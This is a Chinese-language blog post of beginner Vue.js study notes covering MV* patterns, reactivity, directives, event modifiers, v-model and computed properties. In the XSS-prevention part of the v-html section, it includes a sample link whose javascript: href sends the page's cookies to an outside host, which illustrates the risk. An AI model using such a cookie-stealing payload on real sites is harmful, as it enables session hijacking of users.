前端学习入门：Vue学习笔记（一）

ゞ浴缸里的玫瑰 2023-10-06 15:56 70阅读 0赞

### **一. 了不起的vue** ###

### **1.官方介绍** ###

Vue (读音 /vjuː/，类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。

Vue 的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。

另一方面，当与现代化的工具链以及各种支持类库结合使用时，Vue 也完全能够为复杂的单页应用提供驱动。

### **2.渐进式** ###

框架做分层设计，每层都可选，不同层可以灵活接入其他方案。而当你都想用官方的实现时，会发现也早已准备好，各层之间包括配套工具都能比接入其他方案更便捷地协同工作。

> 一个个放入,放多少就做多少。

### **3. MV\* 模式（MVC/MVP/MVVM）** ###

*  **"MVC": model view controller**  
    用户对View操作以后，View捕获到这个操作，会把处理的权利交移给Controller（Pass calls）；Controller会对来自View数据进行预处理、决定调用哪个Model的接口；然后由Model执行相关的业务逻辑（数据请求）；当Model变更了以后，会通过**观察者模式（Observer Pattern）**通知View；View通过**观察者模式**收到Model变更的消息以后，会向Model请求最新的数据，然后重新更新界面。 `把业务逻辑和展示逻辑分离，模块化程度高。但由于View是强依赖特定的Model的，所以View无法组件化，无法复用`
 *  **"MVP": model view presenter**  
    和MVC模式一样，用户对View的操作都会从View交移给Presenter。Presenter会执行相应的应用程序逻辑，并且对Model进行相应的操作；而这时候Model执行完业务逻辑以后，也是通过观察者模式把自己变更的消息传递出去，但是是传给Presenter而不是View。Presenter获取到Model变更的消息以后，**通过View提供的接口更新界面**。 `View不依赖Model，View可以进行组件化。但Model->View的手动同步逻辑 麻烦，维护困难`
 *  **"MVVM": model view viewmodel**  
    MVVM的调用关系和MVP一样。但是，在ViewModel当中会有一个叫Binder，或者是Data-binding engine的东西。你只需要在View的模版语法当中，指令式地声明View上的显示的内容是和Model的哪一块数据绑定的。当ViewModel对进行Model更新的时候，Binder会自动把数据更新到View上去，当用户对View进行操作（例如表单输入），Binder也会自动把数据更新到Model上去。这种方式称为：Two-way data-binding，双向数据绑定。**可以简单而不恰当地理解为一个模版引擎，但是会根据数据变更实时渲染。**`解决了MVP大量的手动View和Model同步的问题，提供双向绑定机制。提高了代码的可维护性。对于大型的图形应用程序，视图状态较多，ViewModel的构建和维护的成本都会比较高。`

### **二. Vue 心跳体验** ###

*  直接下载并用 <script> 标签引入，Vue 会被注册为一个全局变量。

`<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>`

`命令行工具vue cli`

*  Vue 提供了一个  
    官方的 CLI，为单页面应用 (SPA) 快速搭建繁杂的脚手架。

`npm install -g @vue/cli`

### **三. 真相只有一个-数据绑定原理** ###

https://cn.vuejs.org/v2/guide/reactivity.html

当你把一个普通的 JavaScript 对象传入 Vue 实例作为 data 选项，Vue 将遍历此对象所有的属性，并使用 Object.defineProperty  
把这些属性全部转为 getter/setter。Object.defineProperty 是 ES5 中一个无法 shim 的特性，这也就是 Vue 不支持 IE8 以及更低版本浏览器的原因。

每个组件实例都对应一个 watcher 实例，它会在组件渲染的过程中把“接触”过的数据属性记录为依赖。之后当依赖项的 setter 触发时，会通知 watcher，从而使它关联的组件重新渲染。

**注意：vue3 的 变化**

Object.defineProperty有以下缺点。

1、无法监听es6的Set、Map 变化；

2、无法监听Class类型的数据；

3、属性的新加或者删除也无法监听；

4、数组元素的增加和删除也无法监听。

> 针对Object.defineProperty的缺点，ES6 Proxy都能够完美得解决，它唯一的缺点就是，对IE不友好,所以vue3在检测到如果是使用IE的情况下（没错，IE11都不支持Proxy），会自动降级为Object.defineProperty的数据监听系统。

### **四. 模板语法** ###

### **1. 插值** ###

*  **文本 \{ \{\}\}**
 *  **纯HTML v-html**
    
     *  **防止XSS,CSRF**  
        (1) 前端过滤  
        (2) 后台转义(< > < >)  
        (3) 给cookie 加上属性 http

<a  href="javascript:location.href='http://www.baidu.com?cookie='+document.cookie">
        click
    </a>

*  **表达式**
 *  **指令：是带有 v- 前缀的特殊属性**

v-bind 动态绑定属性
    v-if 动态创建/删除
    v-show 动态显示/隐藏
    v-on:click 绑定事件
    v-for 遍历
    v-model 双向绑定表单

*  **缩写**

v-bind:src => :src
    v-on:click => @click

### **2. class 与 style** ###

(1)绑定HTML Class

*  对象语法
 *  数组语法

(2)绑定内联样式

*  对象语法
 *  数组语法

//需要将 font-size =>fontSize

### **3.条件渲染** ###

(1)v-if
    (2)v-else v-else-if
    (3)template v-if ,包装元素template 不会被创建
    (4)v-show

### **4.列表渲染** ###

(1)v-for (特殊 v-for="n in 10")

*  in
 *  of

//没有区别

(2)key：

*  跟踪每个节点的身份，从而重用和重新排序现有元素
 *  理想的 key 值是每项都有的且唯一的 id。data.id

(3)数组更新检测

*  a. 使用以下方法操作数组，可以检测变动  
    `push() pop() shift() unshift() splice() sort() reverse()`
 *  b.`filter(), concat() 和 slice() ,map()`,新数组替换旧数组
 *  c. 不能检测以下变动的数组

`vm.items[indexOfItem] = newValue`

*解决*

(1) Vue.set(example1.items, indexOfItem, newValue)
    (2) splice

(4)应用:显示过滤结果

### **5.事件处理** ###

(1)监听事件-直接触发代码

(2)方法事件处理器-写函数名 handleClick

(3)内联处理器方法-执行函数表达式 handleClick($event) $event 事件对象

(4)事件修饰符 https://cn.vuejs.org/v2/guide/events.html

*  .stop
 *  .prevent
 *  .capture
 *  .self
 *  .once
 *  .passive

> 每次事件产生，浏览器都会去查询一下是否有preventDefault阻止该次事  
>   
> 件的默认动作。我们加上\*\*passive就是为了告诉浏览器，不用查询了，我们没用\*\*  
>   
> \*\*preventDefault阻止默认动作。\*\*  
>   
> 这里一般用在滚动监听，@scroll，@touchmove 。因为滚动监听过程中，移动每个像素都会产生一次事件，每次都使用内核线程查询prevent会使滑动卡顿。我们通过passive将内核线程查询跳过，可以大大提升滑动的流畅度。

(5)按键修饰符

### **6.表单控件绑定/双向数据绑定** ###

**v-model**

(1)基本用法

*  购物车

(2)修饰符

*  .lazy :失去焦点同步一次
 *  .number :格式化数字
 *  .trim : 去除首尾空格

### **7. 计算属性** ###

**复杂逻辑,模板难以维护**

(1) 基础例子

(2) 计算缓存 VS methods

*  计算属性是基于它们的依赖进行缓存的。
 *  计算属性只有在它的相关依赖发生改变时才会重新求值